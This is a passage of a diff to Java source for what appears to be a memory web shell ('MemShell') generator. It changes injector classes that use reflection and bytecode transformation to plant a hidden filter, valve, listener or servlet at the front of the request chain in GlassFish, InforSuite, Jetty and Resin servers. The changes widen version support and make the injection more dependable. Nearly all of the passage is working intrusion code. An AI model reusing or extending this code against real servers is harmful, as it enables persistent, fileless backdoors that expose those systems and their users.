msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -7,7 +7,10 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -40,7 +43,7 @@ public class GlassFishFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -126,15 +129,18 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
Object filterDef;
|
Object filterDef;
|
||||||
Object filterMap;
|
Object filterMap;
|
||||||
|
Class<?> filterMapClass;
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
// tomcat v8+
|
// tomcat v8+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
} catch (Exception e2) {
|
} catch (Exception e2) {
|
||||||
// tomcat v5+
|
// tomcat v5+
|
||||||
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
filterMap = filterMapClass.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
@@ -145,19 +151,16 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
Constructor<?>[] constructors;
|
|
||||||
try {
|
try {
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
try {
|
|
||||||
// v7.0.0 以上
|
// addFilterMapFirst
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
|
||||||
} catch (Exception e) {
|
filterMaps.add(0, filterMap);
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
|
||||||
}
|
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
@@ -228,21 +231,39 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String name) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Class<?> clazz = obj.getClass();
|
for (Class<?> clazz = obj.getClass();
|
||||||
while (clazz != Object.class) {
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
try {
|
try {
|
||||||
Field field = clazz.getDeclaredField(name);
|
return clazz.getDeclaredField(name);
|
||||||
field.setAccessible(true);
|
} catch (NoSuchFieldException ignored) {
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException var5) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
|
Field field = getField(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
field.set(obj, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.logging.Logger;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
||||||
|
Object filterMap = filterMapClass.newInstance();
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
|
||||||
|
// addFilterMapFirst
|
||||||
try {
|
try {
|
||||||
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
Object filterMaps = getFieldValue(context, "filterMaps");
|
||||||
|
if (filterMaps instanceof List) {
|
||||||
|
// InforSuite9
|
||||||
|
((List<Object>) filterMaps).add(0, filterMap);
|
||||||
|
}
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
// InforSuite10
|
||||||
|
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
|
||||||
|
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
|
||||||
|
results[0] = filterMap;
|
||||||
|
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
|
||||||
|
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
@@ -192,52 +203,54 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
Field field = getField(obj, fieldName);
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
Field field = getField(obj, name);
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||||
Class<?> clazz = obj.getClass();
|
Field field = getField(obj, fieldName);
|
||||||
while (clazz != null) {
|
field.setAccessible(true);
|
||||||
try {
|
field.set(obj, value);
|
||||||
Field field = clazz.getDeclaredField(fieldName);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field;
|
|
||||||
} catch (NoSuchFieldException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(fieldName);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Method method = null;
|
||||||
Method method = null;
|
while (clazz != null && method == null) {
|
||||||
while (clazz != null && method == null) {
|
try {
|
||||||
try {
|
if (paramClazz == null) {
|
||||||
if (paramClazz == null) {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
} else {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -44,7 +42,7 @@ public class JettyFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -86,68 +84,53 @@ public class JettyFilterInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
String[] classNames = new String[]{
|
String[][] filterHolderClassNames = new String[][]{
|
||||||
"org.eclipse.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
|
||||||
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
|
||||||
"org.mortbay.jetty.servlet.FilterHolder",
|
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
|
||||||
};
|
};
|
||||||
|
|
||||||
Class<?> filterHolderClass = null;
|
Class<?> filterHolderClass = null;
|
||||||
|
Class<?> filterMappingClass = null;
|
||||||
|
|
||||||
for (String className : classNames) {
|
for (String[] classNames : filterHolderClassNames) {
|
||||||
try {
|
try {
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
|
||||||
|
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
|
||||||
} catch (ClassNotFoundException ignored) {
|
} catch (ClassNotFoundException ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (filterHolderClass == null) {
|
if (filterHolderClass == null || filterMappingClass == null) {
|
||||||
throw new ClassNotFoundException("FilterHodler");
|
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
|
||||||
moveFilterToFirst(servletHandler);
|
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
|
||||||
}
|
|
||||||
|
|
||||||
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
|
||||||
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
|
||||||
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
|
|
||||||
int filterLength;
|
|
||||||
|
|
||||||
if (filterMaps.getClass().isArray()) {
|
Object filterMapping = filterMappingClass.getConstructor().newInstance();
|
||||||
filterLength = Array.getLength(filterMaps);
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
for (int i = 0; i < filterLength; i++) {
|
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
Object filter = Array.get(filterMaps, i);
|
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
||||||
reorderedFilters.add(0, filter);
|
Object[] newMappings = null;
|
||||||
} else {
|
if (mappings == null || Array.getLength(mappings) == 0) {
|
||||||
reorderedFilters.add(filter);
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
||||||
}
|
} else {
|
||||||
}
|
int length = Array.getLength(mappings);
|
||||||
for (int i = 0; i < filterLength; i++) {
|
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
||||||
Array.set(filterMaps, i, reorderedFilters.get(i));
|
System.arraycopy(mappings, 0, newMappings, 1, length);
|
||||||
}
|
|
||||||
} else if (filterMaps instanceof ArrayList) {
|
|
||||||
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
|
||||||
for (Object filter : filterList) {
|
|
||||||
String filterName = (String) getFieldValue(filter, "_filterName");
|
|
||||||
if (filterName.equals(getClassName())) {
|
|
||||||
reorderedFilters.add(0, filter);
|
|
||||||
} else {
|
|
||||||
reorderedFilters.add(filter);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
filterList.clear();
|
|
||||||
filterList.addAll(reorderedFilters);
|
|
||||||
}
|
}
|
||||||
|
newMappings[0] = filterMapping;
|
||||||
|
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
||||||
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
@@ -8,7 +8,10 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.EventListener;
|
||||||
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -29,7 +32,7 @@ public class JettyListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
import java.util.ArrayList;
|
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -42,7 +40,7 @@ public class JettyServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -14,9 +14,11 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2025/3/26
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
private static final String[] TARGET_CLASSES = new String[]{
|
||||||
|
"com/caucho/server/http/FilterChainFilter",
|
||||||
|
"com/caucho/server/dispatch/FilterFilterChain",
|
||||||
|
};
|
||||||
public static String getClassName() {
|
public static String getClassName() {
|
||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
@@ -38,8 +40,10 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
if (targetClass.replace("/", ".").equals(name)) {
|
||||||
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -48,22 +52,24 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
if (TARGET_CLASS.equals(className)) {
|
for (String targetClass : TARGET_CLASSES) {
|
||||||
defineTargetClass(loader);
|
if (className.equals(targetClass)) {
|
||||||
try {
|
defineTargetClass(loader);
|
||||||
ClassReader cr = new ClassReader(bytes);
|
try {
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
ClassReader cr = new ClassReader(bytes);
|
||||||
@Override
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
protected ClassLoader getClassLoader() {
|
@Override
|
||||||
return loader;
|
protected ClassLoader getClassLoader() {
|
||||||
}
|
return loader;
|
||||||
};
|
}
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
};
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
return cw.toByteArray();
|
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
} catch (Exception e) {
|
return cw.toByteArray();
|
||||||
e.printStackTrace();
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return bytes;
|
return bytes;
|
||||||
|
|||||||
@@ -6,7 +6,10 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -39,7 +42,7 @@ public class ResinFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -136,6 +139,11 @@ public class ResinFilterInjector {
|
|||||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
